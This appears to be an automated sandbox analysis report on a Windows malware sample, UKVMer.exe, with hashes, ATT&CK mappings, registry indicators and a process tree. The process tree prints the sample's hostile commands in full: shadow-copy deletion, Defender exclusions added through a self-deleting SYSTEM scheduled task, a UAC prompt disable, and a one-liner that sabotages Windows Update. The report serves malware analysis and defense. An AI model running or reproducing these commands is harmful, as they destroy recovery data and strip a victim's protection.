a50581cd1845d7072037b1f42e30139b6a48cdb0b28edd3368d3bb31a31007bc

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20250502-en
resource tags

arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
submitted
26/09/2025, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
UKVMer.exe
Size 145KB
Sample250926-e9d5qsdp8x
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	UKVMer.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5692	powershell.exe
6048	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	UKVMer.exe

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2372	icacls.exe
1696	takeown.exe
228	icacls.exe
2264	icacls.exe
5140	icacls.exe
1040	takeown.exe
3220	icacls.exe
3108	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\International\Geo\Nation	UKVMer.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1696	takeown.exe
228	icacls.exe
2264	icacls.exe
5140	icacls.exe
1040	takeown.exe
3220	icacls.exe
3108	icacls.exe
2372	icacls.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4932	cmd.exe
3352	cmd.exe
2960	cmd.exe
3968	cmd.exe
2064	cmd.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2900	sc.exe
3460	sc.exe
3688	sc.exe
4592	sc.exe
3308	sc.exe
384	sc.exe
2208	sc.exe
3260	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\ScreenSaveActive = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\SCRNSAVE.EXE	UKVMer.exe

System Location Discovery: System Language Discovery 1 TTPs 55 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UKVMer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\ScreenSaveActive = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	UKVMer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1153236273-2212388449-1493869963-1000\Control Panel\Desktop\SCRNSAVE.EXE	UKVMer.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4652	schtasks.exe
6108	schtasks.exe
6112	schtasks.exe
1308	schtasks.exe
5736	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe
1692	UKVMer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6048	powershell.exe
Token: SeTakeOwnershipPrivilege	1040	takeown.exe
Token: SeRestorePrivilege	3108	icacls.exe
Token: SeTakeOwnershipPrivilege	1696	takeown.exe
Token: SeRestorePrivilege	2264	icacls.exe
Token: SeDebugPrivilege	5692	powershell.exe
Token: SeIncreaseQuotaPrivilege	5692	powershell.exe
Token: SeSecurityPrivilege	5692	powershell.exe
Token: SeTakeOwnershipPrivilege	5692	powershell.exe
Token: SeLoadDriverPrivilege	5692	powershell.exe
Token: SeSystemProfilePrivilege	5692	powershell.exe
Token: SeSystemtimePrivilege	5692	powershell.exe
Token: SeProfSingleProcessPrivilege	5692	powershell.exe
Token: SeIncBasePriorityPrivilege	5692	powershell.exe
Token: SeCreatePagefilePrivilege	5692	powershell.exe
Token: SeBackupPrivilege	5692	powershell.exe
Token: SeRestorePrivilege	5692	powershell.exe
Token: SeShutdownPrivilege	5692	powershell.exe
Token: SeDebugPrivilege	5692	powershell.exe
Token: SeSystemEnvironmentPrivilege	5692	powershell.exe
Token: SeRemoteShutdownPrivilege	5692	powershell.exe
Token: SeUndockPrivilege	5692	powershell.exe
Token: SeManageVolumePrivilege	5692	powershell.exe
Token: 33	5692	powershell.exe
Token: 34	5692	powershell.exe
Token: 35	5692	powershell.exe
Token: 36	5692	powershell.exe
Token: SeIncreaseQuotaPrivilege	5692	powershell.exe
Token: SeSecurityPrivilege	5692	powershell.exe
Token: SeTakeOwnershipPrivilege	5692	powershell.exe
Token: SeLoadDriverPrivilege	5692	powershell.exe
Token: SeSystemProfilePrivilege	5692	powershell.exe
Token: SeSystemtimePrivilege	5692	powershell.exe
Token: SeProfSingleProcessPrivilege	5692	powershell.exe
Token: SeIncBasePriorityPrivilege	5692	powershell.exe
Token: SeCreatePagefilePrivilege	5692	powershell.exe
Token: SeBackupPrivilege	5692	powershell.exe
Token: SeRestorePrivilege	5692	powershell.exe
Token: SeShutdownPrivilege	5692	powershell.exe
Token: SeDebugPrivilege	5692	powershell.exe
Token: SeSystemEnvironmentPrivilege	5692	powershell.exe
Token: SeRemoteShutdownPrivilege	5692	powershell.exe
Token: SeUndockPrivilege	5692	powershell.exe
Token: SeManageVolumePrivilege	5692	powershell.exe
Token: 33	5692	powershell.exe
Token: 34	5692	powershell.exe
Token: 35	5692	powershell.exe
Token: 36	5692	powershell.exe
Token: SeIncreaseQuotaPrivilege	5692	powershell.exe
Token: SeSecurityPrivilege	5692	powershell.exe
Token: SeTakeOwnershipPrivilege	5692	powershell.exe
Token: SeLoadDriverPrivilege	5692	powershell.exe
Token: SeSystemProfilePrivilege	5692	powershell.exe
Token: SeSystemtimePrivilege	5692	powershell.exe
Token: SeProfSingleProcessPrivilege	5692	powershell.exe
Token: SeIncBasePriorityPrivilege	5692	powershell.exe
Token: SeCreatePagefilePrivilege	5692	powershell.exe
Token: SeBackupPrivilege	5692	powershell.exe
Token: SeRestorePrivilege	5692	powershell.exe
Token: SeShutdownPrivilege	5692	powershell.exe
Token: SeDebugPrivilege	5692	powershell.exe
Token: SeSystemEnvironmentPrivilege	5692	powershell.exe
Token: SeRemoteShutdownPrivilege	5692	powershell.exe
Token: SeUndockPrivilege	5692	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2320	1692	UKVMer.exe	86
PID 1692 wrote to memory of 2320	1692	UKVMer.exe	86
PID 1692 wrote to memory of 2320	1692	UKVMer.exe	86
PID 1692 wrote to memory of 6048	1692	UKVMer.exe	97
PID 1692 wrote to memory of 6048	1692	UKVMer.exe	97
PID 1692 wrote to memory of 6048	1692	UKVMer.exe	97
PID 1692 wrote to memory of 4932	1692	UKVMer.exe	99
PID 1692 wrote to memory of 4932	1692	UKVMer.exe	99
PID 1692 wrote to memory of 4932	1692	UKVMer.exe	99
PID 1692 wrote to memory of 5044	1692	UKVMer.exe	101
PID 1692 wrote to memory of 5044	1692	UKVMer.exe	101
PID 1692 wrote to memory of 5044	1692	UKVMer.exe	101
PID 5044 wrote to memory of 4900	5044	cmd.exe	104
PID 5044 wrote to memory of 4900	5044	cmd.exe	104
PID 5044 wrote to memory of 4900	5044	cmd.exe	104
PID 4932 wrote to memory of 4652	4932	cmd.exe	103
PID 4932 wrote to memory of 4652	4932	cmd.exe	103
PID 4932 wrote to memory of 4652	4932	cmd.exe	103
PID 4900 wrote to memory of 812	4900	net.exe	105
PID 4900 wrote to memory of 812	4900	net.exe	105
PID 4900 wrote to memory of 812	4900	net.exe	105
PID 4932 wrote to memory of 3376	4932	cmd.exe	106
PID 4932 wrote to memory of 3376	4932	cmd.exe	106
PID 4932 wrote to memory of 3376	4932	cmd.exe	106
PID 4932 wrote to memory of 5504	4932	cmd.exe	108
PID 4932 wrote to memory of 5504	4932	cmd.exe	108
PID 4932 wrote to memory of 5504	4932	cmd.exe	108
PID 6052 wrote to memory of 4980	6052	cmd.exe	110
PID 6052 wrote to memory of 4980	6052	cmd.exe	110
PID 1692 wrote to memory of 3352	1692	UKVMer.exe	111
PID 1692 wrote to memory of 3352	1692	UKVMer.exe	111
PID 1692 wrote to memory of 3352	1692	UKVMer.exe	111
PID 3352 wrote to memory of 6108	3352	cmd.exe	113
PID 3352 wrote to memory of 6108	3352	cmd.exe	113
PID 3352 wrote to memory of 6108	3352	cmd.exe	113
PID 3352 wrote to memory of 4292	3352	cmd.exe	114
PID 3352 wrote to memory of 4292	3352	cmd.exe	114
PID 3352 wrote to memory of 4292	3352	cmd.exe	114
PID 3352 wrote to memory of 4508	3352	cmd.exe	116
PID 3352 wrote to memory of 4508	3352	cmd.exe	116
PID 3352 wrote to memory of 4508	3352	cmd.exe	116
PID 704 wrote to memory of 3660	704	cmd.exe	118
PID 704 wrote to memory of 3660	704	cmd.exe	118
PID 1692 wrote to memory of 2960	1692	UKVMer.exe	119
PID 1692 wrote to memory of 2960	1692	UKVMer.exe	119
PID 1692 wrote to memory of 2960	1692	UKVMer.exe	119
PID 2960 wrote to memory of 6112	2960	cmd.exe	121
PID 2960 wrote to memory of 6112	2960	cmd.exe	121
PID 2960 wrote to memory of 6112	2960	cmd.exe	121
PID 2960 wrote to memory of 2324	2960	cmd.exe	122
PID 2960 wrote to memory of 2324	2960	cmd.exe	122
PID 2960 wrote to memory of 2324	2960	cmd.exe	122
PID 2960 wrote to memory of 5584	2960	cmd.exe	124
PID 2960 wrote to memory of 5584	2960	cmd.exe	124
PID 2960 wrote to memory of 5584	2960	cmd.exe	124
PID 980 wrote to memory of 1360	980	cmd.exe	126
PID 980 wrote to memory of 1360	980	cmd.exe	126
PID 5044 wrote to memory of 384	5044	cmd.exe	127
PID 5044 wrote to memory of 384	5044	cmd.exe	127
PID 5044 wrote to memory of 384	5044	cmd.exe	127
PID 5044 wrote to memory of 2208	5044	cmd.exe	128
PID 5044 wrote to memory of 2208	5044	cmd.exe	128
PID 5044 wrote to memory of 2208	5044	cmd.exe	128
PID 5044 wrote to memory of 2172	5044	cmd.exe	129

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	UKVMer.exe

C:\Users\Admin\AppData\Local\Temp\UKVMer.exe
"C:\Users\Admin\AppData\Local\Temp\UKVMer.exe"
1⤵
- UAC bypass
- Drops file in Drivers directory
- Checks computer location settings
- Event Triggered Execution: Screensaver
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2320
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:6048
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\" /t REG_DWORD /d 0 /f"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4652
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3376
- - C:\Windows\SysWOW64\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5504
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:812
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:384
- - C:\Windows\SysWOW64\sc.exe
    sc failure wuauserv reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2208
- - C:\Windows\SysWOW64\net.exe
    net stop UsoSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3388
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3260
- - C:\Windows\SysWOW64\sc.exe
    sc failure UsoSvc reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2900
- - C:\Windows\SysWOW64\net.exe
    net stop uhssvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2104
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2880
- - C:\Windows\SysWOW64\sc.exe
    sc config uhssvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3460
- - C:\Windows\SysWOW64\sc.exe
    sc failure uhssvc reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3688
- - C:\Windows\SysWOW64\net.exe
    net stop WaaSMedicSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2012
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4592
- - C:\Windows\SysWOW64\sc.exe
    sc failure WaaSMedicSvc reset= 0 actions= ""
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3308
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1040
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:3220
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3108
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:2372
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\wuaueng.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:228
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
